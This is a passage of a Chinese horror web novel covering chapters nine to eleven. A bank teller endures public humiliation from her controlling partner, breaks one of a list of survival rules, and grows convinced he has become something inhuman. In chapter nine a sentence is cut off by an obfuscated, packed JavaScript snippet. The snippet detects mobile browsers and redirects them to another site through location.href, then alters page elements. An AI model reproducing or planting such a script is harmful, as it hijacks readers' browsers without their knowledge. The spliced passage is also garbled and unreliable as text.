手机在口袋里震了一下。 她没理,继续数。 又震了一下。 她把最后几张毛票数完,在凭条上敲了金额,让老头按手印。老头按完,拿着回执走了。 陈默掏出手机。 王志强的微信: “晚上一个朋友请吃饭,你下班直接过来。” 下面是一个定位,某家海鲜酒楼。 陈默盯着那行字,看了几秒。 昨晚的事还在脑子里。那两只发光的眼睛,那句“你熟了”,那个靠在墙上发抖的自己。 她回了一个字: “好。” 手机又震了一下。 “收拾收拾,别给我丢人。” 她看着这行字,手指悬在屏幕上,不知道该回什么。 最后什么都没回,把手机塞回口袋。 五点整,下班。 她在更衣室换衣服——从行服换成自己的便服。但她今天没带便服。早上出门的时候想着今天周一,下班就直接回家,没想过要来吃饭。 她穿着行服站在更衣室里,看着镜子里的自己。 深蓝色西装,白衬衫,工牌还别在胸口。头发盘着,妆已经花了,眼袋遮不住,痘印盖不住。 她站了几秒,然后拿起包,出门。 二 海鲜酒楼在城东,陈默坐地铁过去,出站的时候天已经黑了。 门口站着两个穿旗袍的迎宾小姐,看见她过来,微笑着鞠躬。 “您好,请问有预订吗?” “有,王先生订的。” 迎宾小姐查了一下,领着她往里走。 酒楼很大,装修得金碧辉煌,到处都是水晶灯和大理石。走过大堂,拐进包厢区,走廊两边全是包间,门关着,里面隐隐传出来劝酒声和笑声。 迎宾小姐在一扇门前停下。 “到了。” 她推开门。 陈默走进去。 包厢很大,中间一张大圆桌,能坐十几个人。现在坐了七八个,全是男的,岁数都不小,三四十岁,有的还更大。每人旁边都放着烟灰缸,烟灰缸里塞满了烟头,整个包厢烟雾缭绕。 王志强坐在主位上,正跟旁边的人说话。 他看见陈默进来,上下打量了一眼。 那一眼,陈默看懂了。 嫌弃。 “你穿的什么?”他说。 陈默低头看看自己。 工装。 “我下班直接过来的,没来得及换。” 王志强的眉头皱起来。 “我不是让你收拾收拾吗?” 陈默张了张嘴,不知道该说什么。 旁边有人打圆场:“哎呀,工装怎么了?工装说明嫂子敬业!来来来,嫂子坐,坐这儿。” 那人指了指王志强旁边的位置。 陈默走过去,坐下。 王志强看了她一眼,没再说什么。 但那个眼神,她记住了。 三 “嫂子喝什么?” 陈默对面坐着一个光头男人,四十来岁,满脸横肉,脖子上挂着一条金链子。他正拿着酒瓶,准备给陈默倒酒。 “她不喝。”王志强替他回答了。 光头男人愣了一下。 “不喝酒?那喝茶?” “她不喝。”王志强又说了一遍。 光头男人看看王志强,又看看陈默,笑着把酒瓶放下了。 “行,那嫂子随意。” 陈默点点头,没说话。 桌上已经上菜了,海鲜为主——螃蟹、扇贝、生蚝,中间放着一大盘白灼虾,红彤彤的冒着热气。 王志强夹了一只虾,放到自己盘子里,没吃。 他看了看陈默。 “陈默。” 陈默转头看他。 “给我剥虾。” 陈默愣了一下。 周围几个人都看过来了。 王志强看着她,脸上没什么表情。 “剥啊。” 陈默伸出手,拿起那只虾,开始剥。 虾壳有点扎手,烫烫的。她把头拧掉,把壳一片一片剥下来,最后剥出一只完整的虾肉,放到王志强盘子里。 王志强夹起来,吃了。 “再来一只。” 陈默又拿了一只,继续剥。 周围有人笑了。 “强哥,你这待遇可以啊。” “那是,我媳妇嘛。” 王志强嚼着虾,脸上带着笑。 陈默低着头,继续剥。 一只,两只,三只。 她剥一只,他吃一只。她剥完第三只的时候,盘子里还剩一堆虾壳。 王志强拿纸巾擦了擦嘴。 “倒杯茶。” 陈默站起来,拿起茶壶,给他倒了一杯。 他喝了一口。 “太烫了。” 陈默站着,不知道该说什么。 旁边有人递过来一瓶矿泉水:“兑点凉的。” 陈默接过矿泉水,往茶杯里兑了一点。 王志强又喝了一口。 “行了。” 陈默坐下。 周围又聊开了,聊工程,聊钱,聊人。她坐在那儿,听着,一句话都没说。 四 饭吃到一半,王志强的手机响了。 他看了一眼,接起来。 “喂?嗯,在吃饭。你过来?行啊,老地方,三楼302。” 挂了。 他看了看桌上的人。 “还有个朋友要来,咱们等等他。” 众人说好。 过了十几分钟,门开了。 进来一个男人,瘦高个,戴着眼镜,看起来比在座的年轻一些,三十出头的样子。 “强哥!”他笑着走过来,跟王志强握了握手。 “来了?坐坐坐。” 瘦高个坐下,扫了一眼桌上的人,最后目光落在陈默身上。 “这位是嫂子吧?” 王志强点点头。 “对,我媳妇。” 瘦高个打量了陈默一眼。 “嫂子好。” 陈默点点头。 “你好。” 瘦高个坐下,开始跟王志强聊天。 陈默在旁边听着,听出来这个人姓李,是做建材生意的,最近想接个工程,来找王志强帮忙。 “强哥,这事就靠你了。” “好说好说。” 王志强端起酒杯,跟他碰了一下。 两人喝了一杯。 又喝了一杯。 再喝一杯。 几杯下去,王志强的脸开始红了,话也多了。 “小李,我跟你说,这个工程,我跟那边打个招呼就行。我王志强在这行混这么多年,这点面子还是有的。” “那是那是,强哥谁不知道。” 王志强笑了笑,扭头看了看陈默。 “陈默,给小李倒杯酒。” 陈默站起来,拿起酒瓶,给瘦高个倒了一杯。 瘦高个连忙说:“谢谢嫂子,谢谢嫂子。” 陈默坐下。 王志强又说:“再给我倒一杯。” 陈默又站起来,给他倒了一杯。 王志强喝了一口,看着瘦高个。 “小李啊,你结婚了吗?” “结了,孩子都上小学了。” “孩子多大了?” “七岁,男孩。” 王志强点点头。 “男孩好。我这边——”他指了指陈默,“还没呢。” 瘦高个愣了一下,不知道怎么接。 王志强继续说:“不过也不急,她嘛,还得再养养。” 再养养。 陈默攥紧手指。 瘦高个尴尬地笑了笑。 王志强又喝了一口酒,看着陈默。 “陈默,你给小李剥个虾。” 陈默愣了一下。 “快点啊。” 她伸出手,拿了一只虾,开始剥。 剥完,放到瘦高个盘子里。 瘦高个连忙说:“谢谢嫂子,我自己来就行——” “没事,她剥得好。”王志强打断他。 陈默低着头,盯着自己的盘子。 盘子里空空的,只有几片菜叶。 五 酒过三巡,桌上的人都喝得差不多了。 王志强脸红得发紫,说话更大声了,脏话也更多了。 “我他妈跟你说,那个王八蛋,下次别让我碰上——” “强哥,消消气,喝酒喝酒。” 又喝了一杯。 王志强放下酒杯,看了看陈默。 那一眼,有点长。 “陈默。” 她抬起头。 “你说你是不是傻?” 陈默愣了一下。 桌上的人也都愣了一下。 王志强看着她,脸上带着笑,但那笑不对劲。 “我问你话呢,你是不是傻?” 陈默没说话。 “你看看你,”他指着她,“穿个工装就来吃饭,让你收拾收拾你不听,让你剥虾你剥得那么慢,让你倒茶你倒那么烫——你说你会干什么?” 陈默攥紧手指。 周围安静了。 只有空调嗡嗡的声音。 “我跟你说,”王志强继续说,“你知道外面人怎么说你吗?说我找了个银行的,结果就是个柜员。柜员也就算了,还不会打扮,不会来事,带出来丢人。” 陈默低着头,盯着盘子。 “你说你,”他摇了摇头,“二十八了,长得也就那样,工作也就那样,家里还那样——你妈都不要你了,我要你,你就该感恩戴德,知道吗?” 陈默的手指攥得更紧了。 指甲掐进肉里,疼。 “我外面多少人想跟我,我都看不上。你呢?你倒好,让你干点活你就摆个脸,让你出来吃个饭你就穿个工装——你以为你是谁?” 没人说话。 整个包厢安静得像坟墓。 王志强又喝了一口酒。 “我跟你说,陈默,你也就是遇见我。换个别人,早把你甩了。你还不自知,天天在那儿不知道想什么——” 陈默抬起头。 她看着他。 那两只眼睛,在灯光下,没有发光。就是普通的人的眼睛。 但那张嘴,还在动。 “你说你会干什么?你会什么?饭不会做,活不会干,脸越来越老,身材越来越胖——我要你干什么?” 陈默听见自己的声音。 “那你别要啊。” 六 声音不大。 但整个包厢一下子安静了。 那种安静,和刚才不一样。 刚才的安静是没人敢说话,现在的安静是——所有人都不敢呼吸。 王志强的嘴还张着,但没声音了。 他看着陈默。 那两只眼睛,慢慢变了。 不是发光——是别的。 是那种她见过的眼神。 第一次是三十秒开门那天晚上。 第二次是他说“明天有个哥们来”的时候。 第三次是昨晚,他说“你熟了”的时候。 现在是第四次。 “你说什么?”他问。 声音很轻。 但陈默听得清清楚楚。 她张了张嘴。 想说什么,但说不出来。 脑子里突然炸开一个声音—— 第二条规则:他喝醉后说的话,无论多难听,不要反驳,不要流泪,点头就好。 不要反驳。 不要反驳。 不要反驳。 她反驳了。 当着这么多人的面,她反驳了。 她看着王志强的那两只眼睛。 那两只眼睛,正盯着她。 像猫盯着老鼠。 像什么夜里会发光的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387621|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动物,盯着它的猎物。 她想起昨晚那句话。 “你熟了。” 熟了。 什么时候熟的? 就是现在吗? 七 “陈默。” 王志强的声音,很轻。 她看着他。 “你刚才说什么?” 她没说话。 桌上其他人,没有一个敢动,没有一个敢出声。 王志强站起来。 他走到她面前,低头看着她。 那两只眼睛,离她很近。 她能看见里面的光。 不是反光,是发光。 “我问你,”他说,“你刚才说什么?” 陈默张了张嘴。 “我……” “你什么?” 她看着那两只眼睛。 那两只眼睛里的光,越来越亮。 她突然想起那条规则的第一条。 数到三十,再开门。 她不知道数到三十有没有用。 但她开始数。 一、二、三—— “陈默。”他打断她。 她停下来。 他看着她的眼睛。 看了很久。 然后他笑了。 那笑容很短,就一下。 “行,”他说,“你有种。” 他转身走回座位,坐下,端起酒杯,一口干了。 “来来来,喝酒喝酒。” 桌上的人如释重负,又开始动起来,开始说话,开始劝酒。 陈默坐在那儿,一动不动。 她看着自己的手。 手在抖。 她把那只手放到桌子下面,攥紧。 一直抖。 八 饭局结束的时候,已经快十点了。 一群人站在酒楼门口告别,握手,拍肩膀,说下次再聚。 王志强站在那儿,和瘦高个说话,脸上带着笑。 陈默站在旁边,看着他们。 瘦高个看了她一眼,那眼神有点复杂。想说什么,又没说。 最后他只是点了点头。 “嫂子再见。” 陈默点点头。 人都散了。 王志强走过来,看着她。 那两只眼睛,现在正常了。 “走吧,回家。” 他往停车场走。 陈默跟在后面。 走到车边,他拉开后座车门,坐进去。 陈默也坐进去。 车里很暗,只有仪表盘上的灯亮着。 代驾还没来,王志强坐着,看着前方。 陈默也没动。 过了一会儿,他开口了。 “陈默。” 她没说话。 “你今天,让我没面子。” 她听着。 “当着那么多人,你让我下不来台。” 她没说话。 他转过头看她。 “你知道我为什么带你来吗?” 她看着他。 “我是给他们看的。”他说,“让他们看看,我有媳妇,我媳妇银行的,我过得挺好。” 他停了一下。 “但你今天,让他们看了笑话。” 陈默张了张嘴。 “我——” “别说话。”他打断她,“听我说。” 她闭上嘴。 “我不管你在想什么,”他说,“但从今天起,你记住——我带你去哪儿,你就去哪儿。我让你干什么,你就干什么。我问你什么,你就答什么。别给我整那些有的没的。” 他盯着她。 “听见没有?” 陈默看着他。 那两只眼睛,在黑暗里,又亮了一下。 她点点头。 “听见了。” 他看了她几秒,然后转回去,手机响了,代驾到了。 车开动了。 陈默坐在王志强旁边,看着窗外。 窗外的路灯一盏一盏往后闪。 她看着那些光,脑子里反复响起一个声音。 第二条规则。 不要反驳。 她反驳了。 她不知道会发生什么。 但她知道,从今晚开始,有什么东西不一样了。 九 到家的时候,快十一点了。 陈默换了鞋,走进卧室,躺下。 王志强在客厅里打电话,声音很大,又是在说工程的事。 她躺在床上,盯着天花板。 天花板还是那样,灰白色,有一点光从窗帘缝里漏进来。 她盯着那点亮。 盯了很久。 然后她听见脚步声。 王志强走进来,躺到她旁边。 床垫陷下去一块,她的身体跟着歪了一下。 他没说话。 她也没说话。 两个人就那么躺着。 过了一会儿,他翻了个身,背对着她。 “睡吧。” 陈默闭上眼。 但她没睡。 她睁着眼,在黑暗里,看着他的后背。 那件衬衫还是白天那件。光线暗,看不清有没有汗渍。 但那股味道,她闻见了。 油油的,腻腻的,带点甜,又带点酸。 像肉放坏了的那种甜酸。 比以前更浓了。 她盯着那个后背。 盯了很久。 然后她突然想起一件事—— 他说她身上有人味了。 但她现在闻见的,是他的味道。 那种味道,不是人味。 是什么味道? 她不知道。 但她知道一件事—— 今晚,她没有数到三十。 她没有机会数。 但她反驳了。 她违反了规则。 她不知道会发生什么。 但她知道,从今晚开始,她再也不能假装什么都没发生了。 --- 第九章完 10. 第十章 他不一样了 第十章他不一样了 一 陈默一夜没睡。 她躺在黑暗里,睁着眼,听着旁边王志强的呼吸。 那呼吸声很均匀,一起一伏,听起来和平时没什么两样。但她就是睡不着。脑子里反复回放今晚的事——那句“那你别要啊”,说出来的时候有多痛快,现在就有多后悔。 不是后悔说了那句话。 是后悔说了之后,王志强那个眼神。 那个眼神,她忘不掉。 不是愤怒,不是凶狠,是别的。 是一种……满意? 就像昨晚他说“你熟了”的时候那种满意。 就像猎人看见猎物终于掉进陷阱的那种满意。 她翻了个身,背对着他。 床垫微微颤动,他的呼吸顿了一下,然后继续。 他醒着? 还是没醒? 她不知道。 她只知道,从今晚开始,有什么东西不一样了。 二 早上六点半,陈默起床。 她轻手轻脚下床,怕吵醒他。走到门口的时候,回头看了一眼。 王志强还躺着,背对着她,一动不动。 她站了两秒,然后推门出去。 洗漱,换衣服,化妆。镜子里的自己,眼袋比昨天更深了,下巴上的痘又多了两颗。她用遮瑕盖了又盖,还是盖不住。 算了。 她拿起包,准备出门。 走到客厅的时候,她愣了一下。 王志强坐在沙发上。 他什么时候起来的?她根本没听见动静。 他穿着那件睡衣——就是那件穿了不知道多久的睡衣,坐在沙发上,看着电视。电视没开声音,就那样放着早间新闻,画面一闪一闪的。 陈默站在那儿,看着他。 他慢慢转过头,看着她。 那两只眼睛,很正常。没有发光,没有异常。就是普通的人的眼睛。 “走了?”他问。 陈默点点头。 “嗯。” 他没说话,又转回去继续看电视。 陈默站了两秒,然后开门出去。 门关上的那一刻,她靠在门上,深吸了一口气。 他说“走了”的时候,声音和平时一样。 但那个眼神,不对。 不是看她。 是……穿透她。 像看一个透明的东西。 三 地铁上人很多,陈默被挤在车门旁边,一只手拉着扶手,一只手护着包。 她盯着窗外隧道里的灯,脑子里乱糟糟的。 王志强今天早上那个眼神,她忘不掉。 还有他坐在沙发上的姿势——和平时一样,又和平时不一样。说不上来哪儿不一样,就是不对。 就像一个人,穿上了另一个人的衣服。 还是那个样子,但不是那个人了。 她想起昨晚的事。 她反驳了。 她说了“那你别要啊”。 然后他笑了。 那个笑容,她越想越不对。 不是生气,不是愤怒,是满意。 就像……就像他在等她这句话。 就像他一直在等她说出点什么,好让他有个理由,做点什么。 做什么? 她不知道。 但她害怕了。 四 上午十点,陈默正在办业务,手机震了一下。 她抽空看了一眼。 王志强发来的微信: “晚上早点回来。” 她盯着这行字,看了三秒。 早点回来。 三年了,他从来没说过这句话。从来都是“晚上不回去了”“晚点回”“别等我了”。 今天他说“早点回来”。 她回了一个字: “好。” 把手机放下,继续办业务。 但心里那团东西,越来越大。 五 下午五点四十,陈默下班。 她没在外面逗留,直接回家。 开门的时候,她站在门口,深吸了一口气。 然后推开门。 客厅里亮着灯。 王志强坐在沙发上,看电视。和早上一样,电视没开声音,画面一闪一闪的。 他转过头看她。 “回来了?” 陈默点点头。 “嗯。” 她换鞋,放下包,走进客厅。 走到沙发旁边的时候,她停住了。 茶几上放着两个碗,两双筷子。碗里是饭,菜已经盛好了——红烧肉,炒青菜,还有一个汤。 他做的饭? 三年了,他从来没做过饭。 陈默站在那儿,看着那两个碗。 “愣着干嘛?”王志强的声音从身后传来,“吃饭。” 她慢慢坐下来,拿起筷子。 夹了一筷子青菜,放进嘴里。 味道……正常。 就是普通的炒青菜,油盐放得正好。 她嚼着,咽下去。 王志强也拿起筷子,开始吃。 两个人面对面坐着,吃饭,不说话。 只有筷子碰碗的声音。 陈默吃了几口,忍不住看他。 他低着头吃饭,动作和平时一样。夹菜,扒饭,嚼,咽下去。很正常。 但就是不对。 哪儿不对? 她看了半天,突然发现了—— 他在嚼东西的时候,嘴巴不动。 就是嘴唇不动,只有里面的牙齿在动。从外面看,他的脸完全是静止的,但他在吃东西。 陈默攥紧筷子。 她把目光收回来,盯着自己的碗。 继续吃。 但每一口,都不知道是什么味道。 六 吃完饭,陈默站起来收碗。 “放着吧。”王志强的声音。 她愣了一下。 “我来洗。” 他站起来,从她手里接过碗,端进厨房。 陈默站在客厅里,听着厨房里传来的水声。 水哗哗响着,碗碰在一起,叮叮当当的。 他洗碗。 三年了,他从来没洗过碗。 她走到厨房门口,看着他。 他站在水槽前,背对着她,正在冲碗。动作很熟练,像洗了很多年一样。 但他从来不洗碗。 她看着他的后背。 那件衣服还是白天那件——不,好像不是。换了一件?她记不清了。 但那股味道,她闻见了。 油油的,腻腻的,带点甜,又带点酸。 比昨天更浓了。 他洗着碗,哼着歌。 那首歌她没听过,调子怪怪的,不像流行歌,也不像老歌。 她站在门口,听了一会儿。 然后她转身走回客厅,坐下。 电视还开着,没声音。她拿起遥控器,把声音打开。 新闻频道,主持人正在播报什么股市行情。 她盯着屏幕,什么都没听进去。 七 晚上九点多,陈默躺在床上,看手机。 王志强在客厅里,不知道在干什么。偶尔有脚步声,偶尔有东西放下的声音,偶尔有电视换台的声音。 她盯着手机屏幕,其实什么都没看进去。 脑子里一直在想今天的事。 他做饭了。 他洗碗了。 他让她早点回来。 他看她的眼神不对。 他嚼东西的时候嘴巴不动。 他身上那个味道,越来越浓了。 他不一样了。 哪儿不一样,她说不上来。 但就是不一样。 就像一个人,被换掉了。 还是那个样子,还是那个声音,还是那个名字——但里面,不是那个人了。 她想起那张纸条。< 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那只手,在她脸上摸了一遍,然后收回去。 他翻身,背对着她。 呼吸声很快响起,一起一伏,睡着了。 陈默睁开眼。 黑暗里,她盯着他的后背。 那股味道还在,浓浓的,黏黏的,像一层油,把她整个人裹在里面。 她慢慢坐起来,下床,光着脚走到门口。 回头看了一眼。 他还躺着,一动不动。 她推开门,走出去。 九 客厅里亮着一盏小灯,是玄关那盏,平时晚上都不开的。 陈默走到沙发前,坐下。 沙发垫上那个印子,还在。 比前几天更深了。 她伸手摸了摸。 湿的。 不是水的那种湿,是别的。像有什么东西,从里面往外渗。 她把手指收回来,凑到鼻子前闻了闻。 那股味道。 就是从这儿来的。 她站起来,退后一步。 站在客厅中央,看着那张沙发。 那张沙发,他每天都躺。 每天都躺很久。 躺出一个印子,越来越深,越来越湿,越来越臭。 她想起他说的那句话。 “你熟了。” 熟了是什么意思? 是不是就像这样——从里面往外烂,直到整个人都变成那个味道? 她不知道。 但她知道,她不能再躺在他旁边了。 十 那一夜,陈默在沙发上坐了一夜。 天亮的时候,她站起来,走进卧室。 王志强还躺着,姿势和昨晚一样,一动不动。 她站在门口,看着他的后背。 然后她转身,去洗漱,换衣服,拿起包,出门。 门关上的那一刻,她听见身后传来一个声音。 “晚上早点回来。” 她停住了。 那是他的声音。 但她没回头。 她站在门口,站了三秒。 然后她往前走,走进电梯,下楼,上班。 整个路上,她脑子里只有那句话。 “晚上早点回来。” 他说这句话的时候,语气和昨天一样。 但那个声音—— 那个声音,不像是从嘴里发出来的。 像是从很深很深的地方传上来的。 像从一个已经烂掉的东西里,传上来的。 --- 第十章完 11. 第十一章 你是我养的 第十一章你是我养的 一 陈默到银行的时候,是早上七点五十。 她不知道自己怎么来的。坐地铁,换乘,出站,走——这些动作都做了,但脑子里一片空白。只记得那句话。 “晚上早点回来。” 她刷卡进门,走进更衣室,换上工装,对着镜子看了一眼。 镜子里的那个人,她不认识了。 眼袋黑得像被人打了两拳,脸色蜡黄,嘴唇干裂。下巴上的痘更多了,红红的一片,遮瑕盖都盖不住。最可怕的是眼睛——那两只眼睛,空洞洞的,像两口枯井。 她盯着那个人看了三秒。 那个人也盯着她。 她突然想起一个问题:镜子里那个人,真的是她吗? 如果是她,为什么她觉得那么陌生? 如果不是她,那她是谁? 她不知道。 她移开目光,走出更衣室。 坐到工位上,打开电脑,输入工号。 屏幕亮起来的那一刻,她突然想起一件事。 那张纸条。 她从口袋里掏出来,展开。 纸条已经皱了,边上的毛刺都卷起来了,有几处被汗浸湿过,字迹有点模糊。但每一个字,她都记得清清楚楚。 《与“他”同居共存守则》 1. 他深夜回家敲门时,不要马上开门。数到三十,再开。 2. 他喝醉后说的话,无论多难听,不要反驳,不要流泪,点头就好。 3. 如果他在酒桌上吹牛说“我女朋友是银行的,有的是钱”,三天内必须提分手。 4. 真正的他,从不洗澡。 5. 如果他在KTV点了陪酒女,而那个女人朝你看了一眼——跑。能跑多远跑多远。 她盯着第二条。 不要反驳。 她反驳了。 然后他变了。 是不是因为这个? 还是说,她早就该变了,只是现在才变? 她把纸条折起来,塞回口袋。 开始办业务。 二 上午十点半,陈默正在给一个客户办挂失,手机震了。 她没理。 又震了一下。 还是没理。 办完挂失,客户走了,她掏出手机。 王志强的微信: “中午回来一趟。” 她盯着这行字。 中午。 回去一趟。 回哪? 那个家。 那个有他在的家。 那个沙发上有个印子、空气里有股味道、他每天晚上躺在她旁边的家。 她回了一个字: “好。” 然后把手机扣在桌上,盯着屏幕发呆。 屏幕慢慢暗下去,变成黑色。黑色的屏幕上,她看见自己的脸——模模糊糊的,像隔着一层水。 那张脸,在看着她。 她眨了一下眼。 那张脸也眨了一下眼。 她又眨了一下。 那张脸没动。 就那么看着她。 陈默猛地往后一靠。 是反光。只是反光。 她深吸一口气,把手机翻过来,屏幕朝下。 老周从门口走了过来。 “陈默,你今天脸色不太好。” 她抬起头。 老周站在她窗口前面,低头看着她。五十多岁的脸,满是皱纹,眼睛里带着担心。 “没事吧?”他问。 陈默摇摇头。 “没事,没睡好。” 老周点点头。 “那你注意休息。年轻人,别太拼。” 他走回门边,继续站着。 陈默看着他的背影。 老周在这干了六年,每天就是开门关门,帮老人按叫号机,提醒客户“钱包收好”。他是那种最普通的人,普通到你在街上走过都不会多看一眼。 但此刻,陈默看着他,突然觉得羡慕。 羡慕他什么都不知道。 羡慕他每天回家,老婆孩子热炕头。 羡慕他不用数三十秒,不用闻那个味道,不用害怕晚上闭上眼。 她把目光收回来,盯着电脑屏幕。 屏幕上是业务列表,长长一串交易代码。 她盯着那些字,一个都看不进去。 三 中午十二点,陈默请了假,回家。 站在家门口的时候,她深吸了一口气。 然后掏出钥匙,开门。 门开了。 客厅里没人。 但茶几上放着饭——两碗米饭,两双筷子,四个菜。红烧肉,炒青菜,西红柿炒蛋,还有一个汤。 还冒着热气。 陈默站在门口,看着那桌菜。 她记得很清楚,家里没买菜。昨天冰箱里只有两个鸡蛋,半棵白菜,还有一盒过期的牛奶。 这些菜从哪来的? “回来了?” 声音从身后传来。 她猛地转身。 王志强站在她身后,离她很近。 近到她能闻见他身上的味道。 那股味道——油油的,腻腻的,甜酸甜酸的,像肉放坏了。比以前更浓了。浓到她几乎要窒息。 “你……”她往后退了一步,后背撞在门框上,“你怎么在这儿?” “我一直在这儿。”他说。 他一直在这儿? 她刚才开门的时候,明明没看见人。客厅是空的,卧室门关着,卫生间门开着,里面也没人。 他从哪儿出来的? 王志强看着她,脸上带着笑。 那笑和平时一样,又不一样。嘴角弯的弧度对,眼睛眯的程度对——但就是不对。就像有人把一张照片上的笑脸剪下来,贴在他脸上。 “吃饭吧。”他说。 他转身走回客厅,坐到饭桌前。 陈默站着没动。 他抬头看她。 “怎么?不饿?” 那个声音,也是对的。音调对,语气对,每个字都对。 但她听着,后背一阵发凉。 因为那个声音,不像是从他嘴里发出来的。 像是从别的地方传过来的,借他的嘴放出来。 陈默走过去,坐下。 拿起筷子,夹了一口饭,放进嘴里。 嚼。 什么味道都没有。 她又夹了一筷子菜。 也没有味道。 所有的菜,都没有味道。 就像她吃的不是食物,是空气,是影子,是别的东西假装成的食物。 她放下筷子,看着他。 他正吃着,动作和平时一样。夹菜,扒饭,嚼,咽下去。 但这一次,她看清楚了。 他嚼的时候,嘴巴不动。 不是“不怎么动”,是完全不动。 嘴唇闭着,脸颊不动,只有喉咙在动——一下,一下,把东西咽下去。 就像他嘴里没有牙齿,没有舌头,什么都没有。 只是一个洞。 一个能把东西吞进去的洞。 “怎么不吃了?”他问。 他看着她。那两只眼睛,在中午的光线里,有一点发亮。 不是反光。 是发光。 陈默摇摇头。 “不饿。” 他看了她一眼。 那一眼,很长。 长得像过了一分钟。 然后他继续吃。 一口,一口,一口。 把那四个菜,两碗饭,全吃完了。 吃完之后,他放下筷子,看着她。 “你不吃,会饿的。” 陈默没说话。 他站起来,开始收碗。 “你坐着,我来。” 他端着碗进厨房,开始洗碗。 陈默坐在沙发上,听着厨房里的水声。 水哗哗响着,碗碰在一起,叮叮当当的。 和昨晚一样。 但今天,她突然注意到一个细节。 那个水声——只有水冲在碗上的声音,没有别的。 没有他洗手的声音。 没有他碰到水槽的声音。 没有水从他手上滴下来的声音。 只有水,和碗。 她站起来,走到厨房门口。 他站在水槽前,背对着她,正在冲碗。 她看着他的手。 他的手在水里,但他没湿。 水从他手上流过,流下去,流进下水道。但他的手上没有水珠,没有湿过的痕迹,没有半点水的影子。 就像水根本碰不到他。 就像他身上有一层看不见的东西,把水和人隔开了。 就像他是用塑料做的,用蜡做的,用别的东西做的。 陈默盯着那双手,看了很久。 那双手,她牵过。 那双手,摸过她的脸。 那双手,每天晚上躺在她的旁边。 但那双手,从来没湿过。 三年了,从来没湿过。 她退后一步。 然后她转身,走回客厅,坐下。 脑子里反复响起规则第四条。 真正的他,从不洗澡。 从不洗澡。 不是不爱洗。 是不能洗。 水碰不到他。 水是活的,他是死的。 四 下午陈默没去上班。 她给周行长发了微信,说家里有事,请半天假。 周行长回了一个字: “好。” 她躺在卧室床上,盯着天花板。 王志强在客厅里,不知道在干什么。偶尔有脚步声,偶尔有电视声,偶尔有东西放下的声音。 她听着那些声音,一动不动。 但那些声音,听着听着,开始不对了。 脚步声——走几步,停一下,又走几步,又停一下。但停的那一下,正好在她呼吸的间隙。就像他在配合她的呼吸。 电视声——换台,换台,换台,一直换。但换台的间隔,一模一样。三秒,三秒,三秒。像一个精准的计时器。 东西放下的声音——咚,咚,咚。每一下都砸在她的心跳上。心跳一下,咚一声。心跳一下,咚一声。 她捂住耳朵。 但那些声音,还是能听见。 不是从外面传进来的。 是从脑子里响起来的。 她睁开眼,盯着天花板。 天花板是白的。但她盯着盯着,那白色开始动。 不是真的动,是眼睛花了。但那个动的样子,像有什么东西在天花板上爬。 她闭上眼。 但闭上眼之后,黑暗里也有东西。 她看见那双眼睛。 那双发光的眼睛。 就在她面前。 她猛地睁开眼。 什么都没有。 只有天花板,白的。 她坐起来,大口喘气。 王志强站在卧室门口。 他什么时候来的? 她没听见脚步声。 他就站在那儿,看着她。 那两只眼睛,在下午的光线里,发着光。 “怎么了?”他问。 陈默摇摇头。 “没事。” 他看着她,看了几秒。 然后他走进来,走到床边,坐下。 床垫陷下去,她的身体跟着歪了一下。 他伸出手,放在她脸上。 凉的。 比刚才更凉了。 比昨晚更凉了。 比任何时候都凉。 像刚从冰柜里拿出来的东西。 那只手在她脸上慢慢移动,从额头到眼睛,从眼睛到鼻子,从鼻子到嘴巴。 像在摸一件东西。 像在检查一件东西有没有坏。 “快了。”他说。 快了。 什么快了? 她不知道。 但她不敢问。 他的手从她脸上移开,放在她肩膀上。 那只手,很沉。 沉得像压了一块石头。 “今晚,”他说,“我有个朋友来。” 陈默看着他。 “你见见他。” 她还是看着他。 他看着她,脸上带着那个笑。 那个贴上去的笑。 “你今晚,别说话了。” 他说这句话的时候,声音很轻。 轻得像一片纸落在地上。 但每一个字,都砸在她心上。 “不管我说什么,”他说,“你都别说话。” 她没说话。 他看着她。 “听见了吗?” 她点点头。 他笑了。 那笑容很短,就一下。 但那一下,她看见他的嘴张开的时候——里面是黑的。 不是舌头,不是牙齿,是黑的。 什么都没有的一片黑。 然后他站起来,走出去。 门关上了。 陈默躺在床上,盯着天花板。 她刚才看见什么了? 她看见了吗? 还是幻觉? 她不知道。 但她不敢闭眼了。 五 晚上七点,门铃响了。 陈默坐在沙发上,王志强去开门。 进来的是一个男人,四十多岁,胖,光头,穿着花衬衫。和陈默见过的那些朋友差不多——满身江湖气,一开口就带着脏话。 “强哥!” “老马!进来进来!” 两人在门口拥抱了一下,走进客厅。 老马看见陈默,愣了一下。 “哟,嫂子在家啊?” 王志强点点头。 “对,今天让她也见见你。” 老马笑着走过来,伸出手。 “嫂子好,我叫马建国,跟强哥认识二十多年了。” 陈默站起来,跟他握了握手。 “你好。” 老马的手,是温的。 正常的温度。 陈默愣了一下。 她已经很久没摸过正常温度的手了。 老马坐下,王志强也坐下。 陈默坐在旁边,不知道该怎么办。 “倒茶。”王志强说。 她站起来,去倒茶。 茶端上来,放到茶几上。 老马喝了一口,看看陈默,又看看王志强。 “强哥,嫂子挺文静的。” 王志强笑了一下。 “嗯,文静好,不吵不闹。” 老马点点头。 “那是,男人回家就想清净,谁想听女人叨叨?” 两人笑起来。 陈默坐在旁边,一言不发。 但她看着老马,总觉得有什么不对。 不是老马不对。 是王志强不对。 他笑的时候,嘴张开的幅度,和平时一样。但她看见里面——还是黑的。 不是舌头,不是牙齿,是黑的。 一片黑。 她移开目光,盯着茶几。 茶几上放着茶壶,茶杯,还有一盘瓜子。很正常的待客摆设。 但那个茶壶里的水,她倒的时候是烫的。 现在应该还冒着热气。 但王志强面前那杯茶,没有热气。 一点都没有。 就像一杯冷水。 她没敢抬头。 老马在说话,说工程的事,说钱的事,说人的事。王志强在听,偶尔应一声,偶尔笑一下。 那些笑声,从那个黑洞里出来,落在空气里,像什么东西在腐烂时发出的声音。 陈默攥紧手指。 指甲掐进肉里,疼。 但她不敢动。 六 老马待了一个多小时,走了。 